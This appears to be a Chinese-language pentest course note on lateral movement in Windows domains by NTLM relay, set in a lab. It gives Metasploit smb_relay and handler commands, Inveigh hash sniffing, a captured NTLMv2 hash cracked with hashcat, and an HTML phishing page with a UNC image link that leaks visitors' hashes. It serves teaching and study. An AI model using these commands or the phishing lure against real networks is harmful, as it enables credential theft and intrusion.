第134天：内网安全-横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

本节案例适用于不能获得域控密码和hash的情况

案例一：横向移动-NTLM 中继攻击-Relay 重放-SMB 上线

前置知识点：

域用户jie 123.com 本地管理员 adminstrator 123.com

域控用户 administrator 123.com

利用用户jie去访问admin的时候

利用administrator去访问admin的时候

这是因为当密码一致的时候会自动匹配，然后直接登录

实验图解（这个图是后面加的可能与下面略有不同，主要看原理）

让jie用户登录上线cs

提权到system

然后需要让他转发到msf上，这里cs4.5版本不能执行

msf开启监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 8888

exploit

转发到msf上

添加路由

run autoroute -p ##查看当前路由表

run post/multi/manage/autoroute ##添加当前路由表

msf设置模块

use exploit/windows/smb/smb_relay

set smbhost 192.168.3.21 #攻击目标

set lhost 192.168.172.131 #设置本地 IP

set autorunscript post/windows/manage/migrate

set payload windows/meterpreter/bind_tcp ##设置正向连接

set rhost 192.168.3.21 #设置连接目标(因为是正向连接于之前一致)

run

先在且换win2008的administrator用户，执行下面的命令（ip为kali的ip）

dir \\192.168.172.131\c$

成功可以导出hash但是无法获得会话

这个hash可以利用hashcat去破解，具体使用方法看一下案例二

案例二：横向移动-NTLM 中继攻击-Inveigh 嗅探-Hash 破解

项目下载地址：
https://github.com/hashcat/hashcat/

https://github.com/Kevin-Robertson/Inveigh

本地操作方法

运行客户端

找另一台主机dir访问这台服务器

会显示他的hash

hash会保存生成在lnveigh-ntlmv2文件夹当中

破解hash

注意利用hashcat的时候要求运行内存足够高，我这里直接设置了运行内存为8g，8个处理器

复制代码

hashcat -m 5600 Administrator::WEBSERVER:A3E1A07FAB4F681A:AF53B80809E25BE9E591916DA31BA5A3:010100000000000027DD583630F4DA0169F4977029CE59BF000000000200060047004F00440001001A004F0057004100320030003100300043004E002D0047004F00440004000E0067006F0064002E006F007200670003002A004F0057004100320030003100300043004E002D0047006F0064002E0067006F0064002E006F007200670005000E0067006F0064002E006F00720067000700080027DD583630F4DA0106000400020000000800300030000000000000000000000000300000070037ADC6916D7F76A3ABF8CA8BD067417BF64A629CB03B3B8C6EC0CB4C665B0A001000000000000000000000000000000000000900220063006900660073002F003100390032002E003100360038002E0033002E0032003100000000000000000000000000 pass.txt

msf上运行

利用获取到的会话执行shell命令

到对应目录下去执行工具，但是这里会有一个问题，不知道为啥会默认执行公网网卡进行了监听，我的目的是让他内网网卡执行，这里没办法只能给目标加张公网网卡去实现，正常的话就直接让主机去执行dir命令就完事了

然后让别的主机去访问它获得hash，

还支持不同的协议，钓鱼触发

复制代码

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>